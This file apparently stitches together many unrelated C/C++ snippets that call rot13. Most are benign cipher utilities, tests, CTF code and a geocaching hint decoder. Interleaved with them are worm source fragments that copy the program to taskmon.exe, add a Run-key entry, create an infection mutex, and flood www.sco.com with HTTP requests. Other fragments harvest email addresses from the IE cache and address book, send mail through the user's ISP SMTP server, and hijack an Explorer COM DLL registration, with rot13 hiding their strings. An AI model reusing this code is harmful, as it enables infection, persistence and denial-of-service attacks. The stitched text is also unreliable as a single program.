void scan_ietemp()
{
char buf[MAX_PATH+128];
char sz_ls[64], sz_tif[64];
int i;
rot13(sz_tif, "Grzcbenel Vagrearg Svyrf"); /* "Temporary Internet Files" */
rot13(sz_ls, "Ybpny Frggvatf"); /* "Local Settings" */
for (i=0; i<2; i++) {
memset(buf, 0, sizeof(buf));
if (i == 0)
GetWindowsDirectory(buf, sizeof(buf));
else
GetEnvironmentVariable("USERPROFILE", buf, sizeof(buf));
if (buf[0] == 0) continue;
if (buf[lstrlen(buf)-1] != '\\') lstrcat(buf, "\\");
if (i == 1) {
lstrcat(buf, sz_ls);
lstrcat(buf, "\\");
}
lstrcat(buf, sz_tif);
scan_dir1(buf, 5);
}
}
int main(int argc, char *argv[]){
if (argc == 1)
rot13(std::cin, std::cout);
for (int arg = 1; arg < argc; ++arg){
std::ifstream f(argv[arg]);
if (!f)
return EXIT_FAILURE;
rot13(f, std::cout);
}
}
int main(void)
{
// char s[32];
// scanf("%s", s);
char s[] = "hello world";
rot13(s);
printf("Encrypted string: %s\n", s);
rot13(s);
printf("Original string: %s\n", s);
}
int sync_mutex(struct sync_t *sync)
{
char tmp[64];
rot13(tmp, "FjroFvcpFzgkF0"); /* "SwebSipcSmtxS0" */
CreateMutex(NULL, TRUE, tmp);
return (GetLastError() == ERROR_ALREADY_EXISTS) ? 1 : 0;
}
static DWORD _stdcall scodos_th(LPVOID pv)
{
struct sockaddr_in addr;
char buf[512];
int sock;
rot13(buf,
/*
* "GET / HTTP/1.1\r\n"
* "Host: www.sco.com\r\n"
* "\r\n";
*/
"TRG / UGGC/1.1\r\n"
"Ubfg: " SCO_SITE_ROT13 "\r\n"
"\r\n");
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
if (pv == NULL) goto ex;
addr = *(struct sockaddr_in *)pv;
for (;;) {
sock = connect_tv(&addr, 8);
if (sock != 0) {
send(sock, buf, lstrlen(buf), 0);
Sleep(300);
closesocket(sock);
}
}
ex: ExitThread(0);
return 0;
}
void scodos_main(void)
{
struct hostent *h;
struct sockaddr_in addr;
int i;
unsigned long tid;
char buf[128];
rot13(buf, SCO_SITE_ROT13);
for (;;) {
while (is_online() == 0)
Sleep(32768);
h = gethostbyname(buf);
if (h == NULL) {
Sleep(32768);
continue;
}
memset(&addr, '\0', sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr = *(struct in_addr *)h->h_addr_list[0];
addr.sin_port = htons(SCO_PORT);
break;
}
for (i=1; i<SCODOS_THREADS; i++)
CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid);
scodos_th(&addr);
}
void sync_startup(struct sync_t *sync)
{
HKEY k;
char regpath[128];
char valname[32];
/* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
rot13(valname, "GnfxZba"); /* "TaskMon" */
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
return;
RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
RegCloseKey(k);
}
void sync_install(struct sync_t *sync)
{
char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
HANDLE hFile;
int i;
rot13(fname, "gnfxzba.rkr"); /* "taskmon.exe" */
GetModuleFileName(NULL, selfpath, MAX_PATH);
lstrcpy(sync->sync_instpath, selfpath);
for (i=0; i<2; i++) {
if (i == 0)
GetSystemDirectory(fpath, sizeof(fpath));
else
GetTempPath(sizeof(fpath), fpath);
if (fpath[0] == 0) continue;
if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
lstrcat(fpath, fname);
SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE);
hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
continue;
lstrcpy(sync->sync_instpath, fpath);
break;
}
CloseHandle(hFile);
DeleteFile(fpath);
if (CopyFile(selfpath, fpath, FALSE) == 0) continue;
lstrcpy(sync->sync_instpath, fpath);
break;
}
}
void
rot13_iovec (struct iovec *vector, int count)
{
int i;
for (i = 0; i < count; i++) {
rot13 (vector[i].iov_base, vector[i].iov_len);
}
}
/*********************** FUNCTION DEFINITIONS ***********************/
int rot13_test()
{
char text[] = {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"};
char code[] = {"NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"};
char buf[1024];
int pass = 1;
// To encode, just apply ROT-13.
strcpy(buf, text);
rot13(buf);
pass = pass && !strcmp(code, buf);
// To decode, just re-apply ROT-13.
rot13(buf);
pass = pass && !strcmp(text, buf);
return(pass);
}
int main() {
gets(str);
rot13(rot, str);
printf("%s\n", rot);
return 0;
}
int main(void) {
#if defined(NSEC_HARDCODED_BLE_DEVICE_ID)
sprintf(g_device_id, "%.8s", NSEC_STRINGIFY(NSEC_HARDCODED_BLE_DEVICE_ID));
#else
sprintf(g_device_id, "NSEC%04X", (uint16_t)(NRF_FICR->DEVICEID[1] % 0xFFFF));
#endif
g_device_id[9] = '\0';
#ifdef NSEC_CTF_ADD_FLAGS
static volatile char flag1[] = "FLAG-60309301fa5b4a4e990392ead6ac7b5f";
printf("%s", flag1); // Don't optimize out flag1
rot13();
#endif
/*
* Initialize base hardware
*/
log_init();
power_init();
softdevice_init();
timer_init();
init_WS2812FX();
ssd1306_init();
gfx_setTextBackgroundColor(SSD1306_WHITE, SSD1306_BLACK);
nsec_buttons_init();
/*
* Initialize bluetooth stack
*/
create_ble_device(g_device_id);
configure_advertising();
nsec_led_ble_init();
init_identity_service();
start_advertising();
nsec_battery_manager_init();
nsec_status_bar_init();
nsec_status_set_name(g_device_id);
nsec_status_set_badge_class(NSEC_STRINGIFY(NSEC_HARDCODED_BADGE_CLASS));
nsec_status_set_ble_status(STATUS_BLUETOOTH_ON);
load_stored_led_settings();
nsec_intro();
show_main_menu();
/*
* Main loop
*/
while(true) {
service_WS2812FX();
nsec_storage_update();
power_manage();
}
return 0;
}
void handlerHijo(int sig){
char buff[BUF_SIZE];
int n;
close(fd_ph[P_WR]);
close(fd_hp[P_RD]);
while((n=read(fd_ph[P_RD],buff,sizeof buff))>0){
rot13(buff,n);
write(fd_hp[P_WR],buff,n);
}
}
int main(){
char a[] = "Qvq lbh xabj gurer ner zber crbcyr jvgu travhf VDf yvivat va Puvan guna gurer ner crbcyr bs nal xvaq yvivat va gur Havgrq Fgngrf? - Gur Fbpvny Argjbex --- Cnffjbeq LBHREOUZZI";
int s = 13;
int size;
size = sizeof(a)/sizeof(char);
size = size - 1;
rot13(a, s, size);
return 0;
}
// function to output the rot13 of a file on std::cout
// returns false if an error occurred processing the file, true otherwise
// on entry, the argument is must be open for reading
int rot13_stream(std::istream& is)
{
std::string line;
while (std::getline(is, line))
{
if (!(std::cout << rot13(line) << "\n"))
return false;
}
return is.eof();
}
/// Decide which mangalgorithm to use.
void MangelwurzelTsx::mangle_string(std::string& str)
{
if (_config.mangalgorithm == REVERSE)
{
reverse(str);
}
else
{
rot13(str);
}
}
int
main (int argc, char **argv )
{
char block[5];
int n=0, c, idx=0;
if ( argc > 1 ) {
fprintf (stderr, "usage: rot13 < input\n");
return 1;
}
while ( (c=getchar ()) != EOF ) {
if ( c >= 'a' && c <= 'z' )
block[idx++] = c - 'a';
else if ( c >= 'A' && c <= 'Z' )
block[idx++] = c - 'A';
else if ( c != ' ' && c != '\t' && c != '\n' )
fprintf (stderr, "rot13: ignoring character 0x%02X\n", c );
if ( idx >= 5 ) {
if ( n )
putchar (' ');
rot13 (block);
idx = 0;
if ( ++n == 10 ) {
putchar ('\n');
n = 0;
}
}
}
if ( idx ) {
while ( idx < 5 )
block[idx++] = 'X' - 'A';
if ( n )
putchar (' ');
rot13 (block);
putchar ('\n');
}
return 0;
}
int main()
{
const int MAX_LENGTH = 1000;
char string[MAX_LENGTH];
printf("Input text: ");
fgets(string, MAX_LENGTH, stdin);
rot13(string);
printf("%s\n", string);
return 0;
}
int main(void)
{
char s[] = "ROT13 (\"rotate by 13 places\", sometimes hyphenated ROT-13) is a simple letter substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet. ROT13 is a special case of the Caesar cipher, developed in ancient Rome.\n\nBecause there are 26 letters (2×13) in the basic Latin alphabet, ROT13 is its own inverse; that is, to undo ROT13, the same algorithm is applied, so the same action can be used for encoding and decoding.\n";
char *p;
p = rot13(s);
printf("%s", p);
printf("------------------------------------\n");
printf("%s", s);
printf("------------------------------------\n");
p = rot13(s);
printf("------------------------------------\n");
printf("%s", p);
printf("------------------------------------\n");
printf("%s", s);
p = rot13(s);
printf("%s", p);
printf("------------------------------------\n");
printf("%s", s);
printf("------------------------------------\n");
return (0);
}
int main () {
char key;
printf("Enter option: ");
scanf("%c", &key);
while(key != 'q') {
if(key == 'c' || key == 'd') {
rot13();
printf("Enter Option: ");
}
scanf("%c", &key);
}
return 0;
}
static int xsmtp_try_isp(char *message)
{
struct sockaddr_in addr;
char buf1[128], buf2[256], buf3[256], buf4[128];
DWORD indx, dwsize;
HKEY regkey1, regkey2;
int success;
rot13(buf1, "Fbsgjner\\Zvpebfbsg\\Vagrearg Nppbhag Znantre\\Nppbhagf");
rot13(buf4, "FZGC Freire");
if (RegOpenKeyEx(HKEY_CURRENT_USER, buf1, 0, KEY_READ, ®key1) != 0)
return 1;
indx = 0;
success = 0;
while (RegEnumKey(regkey1, indx++, buf2, sizeof(buf2)) == ERROR_SUCCESS) {
if (RegOpenKeyEx(regkey1, buf2, 0, KEY_READ, ®key2) != ERROR_SUCCESS)
continue;
memset(buf3, '\0', sizeof(buf3));
dwsize = 256;
if (RegQueryValueEx(regkey2, buf4, 0, 0, buf3, &dwsize) == 0) {
addr.sin_addr.s_addr = resolve(buf3);
if (addr.sin_addr.s_addr != 0) {
addr.sin_family = AF_INET;
addr.sin_port = htons(25);
if (smtp_send_server(&addr, message) == 0)
success = 1;
}
}
RegCloseKey(regkey2);
if (success) break;
}
RegCloseKey(regkey1);
return (success) ? 0 : 1;
}
ToolRot13::ToolRot13(QWidget *parent):
Tool(TOOLNAME, parent), m_textEdit(NULL), m_spinBox(NULL) {
setWindowTitle(tr("Rot13/Cesar"));
QWidget *mainWidget = new QWidget;
QVBoxLayout *mainLayout = new QVBoxLayout;
mainWidget->setLayout(mainLayout);
QSettings settings;
settings.beginGroup("Tools/" TOOLNAME);
QString text = settings.value("text").toString();
m_textEdit = new QTextEdit(text, this);
#ifdef FLICKCHARM
new FlickCharm(m_textEdit, this);
#endif
mainLayout->addWidget(m_textEdit);
// create button box below
QWidget *controlWidget = new QWidget;
QHBoxLayout *controlLayout = new QHBoxLayout;
controlWidget->setLayout(controlLayout);
QPushButton *downButton = new QPushButton("-");
connect(downButton, SIGNAL(clicked()), this, SLOT(shiftDown()));
controlLayout->addWidget(downButton);
m_spinBox = new QSpinBox();
m_spinBox->setRange(1, 25);
m_spinBox->setValue(settings.value("step").toInt());
controlLayout->addWidget(m_spinBox);
QPushButton *upButton = new QPushButton("+");
connect(upButton, SIGNAL(clicked()), this, SLOT(shiftUp()));
controlLayout->addWidget(upButton);
QPushButton *rot13Button = new QPushButton(tr("Rot13"));
connect(rot13Button, SIGNAL(clicked()), this, SLOT(rot13()));
controlLayout->addWidget(rot13Button);
mainLayout->addWidget(controlWidget);
setCentralWidget(mainWidget);
settings.endGroup();
}
static int email_filtuser(const char *email)
{
static const char *nospam_fullnames[] = {
"root", "info", "samples", "postmaster",
"webmaster", "noone", "nobody", "nothing", "anyone",
"someone", "your", "you", "me", "bugs", "rating", "site",
"contact", "soft", "no", "somebody", "privacy", "service",
"help", "not", "submit", "feste", "ca", "gold-certs",
"the.bat", "page",
/* "support" */
NULL
};
static const char *nospam_anypart[] = {
"admin", "icrosoft", "support", "ntivi",
"unix", "bsd", "linux", "listserv",
"certific", "google", "accoun",
/* "master" */
NULL
};
register int i;
char usr[256], tmp[16];
for (i=0; (i<255) && *email && (*email != '@'); i++, email++)
usr[i] = tolower(*email);
usr[i] = 0;
if (*email != '@') return 0;
for (i=0; nospam_fullnames[i]; i++)
if (lstrcmp(usr, nospam_fullnames[i]) == 0) return 1;
if (xstrncmp(usr, "spm", 3) == 0) return 1;
rot13(tmp, "fcnz"); /* "spam" */
//if (xstrncmp(usr, tmp, 4) == 0) return 1;
if (xstrstr(usr, tmp) != NULL) return 1;
if (xstrncmp(usr, "www", 3) == 0) return 1;
if (xstrncmp(usr, "secur", 5) == 0) return 1;
if (xstrncmp(usr, "abuse", 5) == 0) return 1;
for (i=0; nospam_anypart[i]; i++)
if (xstrstr(usr, nospam_anypart[i]) != NULL) return 1;
return 0;
}
static void scan_default_wab()
{
HKEY k;
DWORD dw;
char key_path[80], wabpath[256];
/* "Software\\Microsoft\\WAB\\WAB4\\Wab File Name" */
rot13(key_path, "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr Anzr");
if (RegOpenKeyEx(HKEY_CURRENT_USER, key_path, 0, KEY_READ, &k) != 0)
return;
memset(wabpath, '\0', sizeof(wabpath));
dw = sizeof(wabpath);
RegQueryValueEx(k, NULL, NULL, NULL, wabpath, &dw);
RegCloseKey(k);
if (wabpath[0] != 0)
scan_wab(wabpath);
}
int main(){
int i;
printf("%i\n",72311^89525 );
// Challenge 'A Few Percent' [Web]
char s[] ={0x66, 0x75, 0x67, 0x6C, 0x79, '\0'};
printf("%s\n",s);
// Challenge 'Who goes there?' [Crypto]
// input: abcde....xyz
// output: zyxwvutsrqpomlkjihgfedcba;
char n[] = "daleonpz";
int len = strlen(n);
for( int i=len; i>-1; i--){
printf("%c", n[i] );
}
printf("\n");
char *p = n+sizeof(n)-1;
for(; (*p) != n[0] ;)
printf("%c",*--p);
// Challenge 'Counting' [Misc]
char nn[] = "eehxhqpmawoewdffplqrturxdjlsaylymgxjsthjpacyuxnpuvqlezhosbnmmjzeeahjllnacofwyxxrelwgadsmolyynahrfvqkqonkgjsazwczwbayptsnsuvyomalyisyroxbivlqvtaltvjwtqbsbnscqmdcwxxdkvwctbynbvokdcovbebokjlmekezpcnoxvzzpaqhusdhgbhtqzeuoegylofircjlxdypcvekkllxjxlynidhgngtpblebyoazqvoccnhauwcsviqlbzsmyrproffqapjtizlrdasradufbjwhkllykgtrqivlrsrwswzdwjuktqgzkyslucqxgtseafofbhvhltparprjunrsivyhmelkkodvukwkoiwmhunbjmhtrvowapwuvogjqcaxwepbxoynhygxsqmbcavzvfydrptedyvbzrqficmrobquqvtcjoclyedsafxlhlmyxeyeumiswjjzdxxdqccyqvobspwhsmazmabshscmlquplbmhvvuiuasmjjajwyoyezgvxhpfteblvcuxhuosoekqtiobyvbdytyycyesmzkvbcupnbp";
printf("\n%i\n", strlen(nn));
// Challenge 'Rabbits Everywhere' [Misc]
printf("%i\n", fibonacci(10,17));
// Challenge 'Basic' [Misc]
double n3 =7614380936720482949.00;
printf("%lf\n", change_base(n3,7));
// Challenge 'Newsgroup Cipher' [Crypto]
char c[] = "Guvf zrffntr vf rapelcgrq va ebg 13. Lbhe nafjre vf svfupnxr. ";
rot13(c);
}
void cipherGen(int type[])
{
switch(type[0])
{
case 1:
rot13();
break;
case 2:
mono();
break;
case 3:
caesar();
break;
default:
printf("Invalid cipher type");
}
}
void shellsvc_attach()
{
char tmp[128], dllpath[256];
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(&shellsvc_attach, &mbi, sizeof(mbi)) == 0) return;
memset(dllpath, 0, sizeof(dllpath));
GetModuleFileName((HMODULE)mbi.AllocationBase, dllpath, sizeof(dllpath));
/* CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32 - Explorer's stobject.dll */
// rot13(tmp, "PYFVQ\\{35PRP8N3-2OR6-11Q2-8773-92R220524153}\\VacebpFreire32");
// reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);
/* CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32 - Explorer's Webcheck.dll */
rot13(tmp, "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32");
reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);
}
static char *
geoniche_geostuff(const waypoint *wpt)
{
char *gs = NULL, *tmp1, *tmp2, *tmp3;
char tbuf[10240];
if (!wpt->gc_data->terr) {
return NULL;
}
snprintf(tbuf, sizeof(tbuf), "\n%s by %s\n\n", gs_get_cachetype(wpt->gc_data->type), wpt->gc_data->placer);
gs = xstrappend(gs, tbuf);
/*
* 3 May 06: Removed duplicated information
*
* snprintf(tbuf, sizeof(tbuf), "Waypoint: %s %s\n", wpt->shortname, wpt->description);
* gs = xstrappend(gs, tbuf);
*/
/*
* 3 May 06: Added container type
*/
snprintf(tbuf, sizeof(tbuf), "Container: %s\nDifficulty: %3.1f\nTerrain: %3.1f\n\n", gs_get_container(wpt->gc_data->container), wpt->gc_data->diff/10.0, wpt->gc_data->terr/10.0);
gs = xstrappend(gs, tbuf);
tmp1 = strip_html(&wpt->gc_data->desc_short);
tmp2 = strip_html(&wpt->gc_data->desc_long);
gs = xstrappend(gs, tmp1);
gs = xstrappend(gs, tmp2);
tmp3 = rot13(wpt->gc_data->hint);
snprintf(tbuf, sizeof(tbuf), "\n\nHint: %s\n", tmp3);
gs = xstrappend(gs, tbuf);
xfree(tmp1);
xfree(tmp2);
xfree(tmp3);
tmp1 = enscape(gs);
xfree(gs);
return tmp1;
}
int
main(void) {
char line[BUFFER_SIZE];
if(signal(SIGINT, sigintHandler) == SIG_ERR) {
syserr("signal failed");
}
prompt();
while(readLine(line)) {
rot13(line);
printf("%s\n", line);
prompt();
}
exit(0);
}
void sigusr1(int procPadre, int pah[2], int hap[2]){
int leo,i;
char buff[MAX];
char buff2[MAX];
close(pah[WRITE]);
while((leo = read(pah[READ],buff, sizeof buff)) > 0){
for(i = 0; i < leo; i++){
*(buff2+i) = rot13(*(buff+i));
}
//lo escribo en el pipe2
close(hap[READ]);
write(hap[WRITE],buff2, leo);
close(hap[WRITE]);
}
close(pah[READ]);
kill(procPadre, 23); //despierto al padre despues de escribir en hap(pipe2)
}
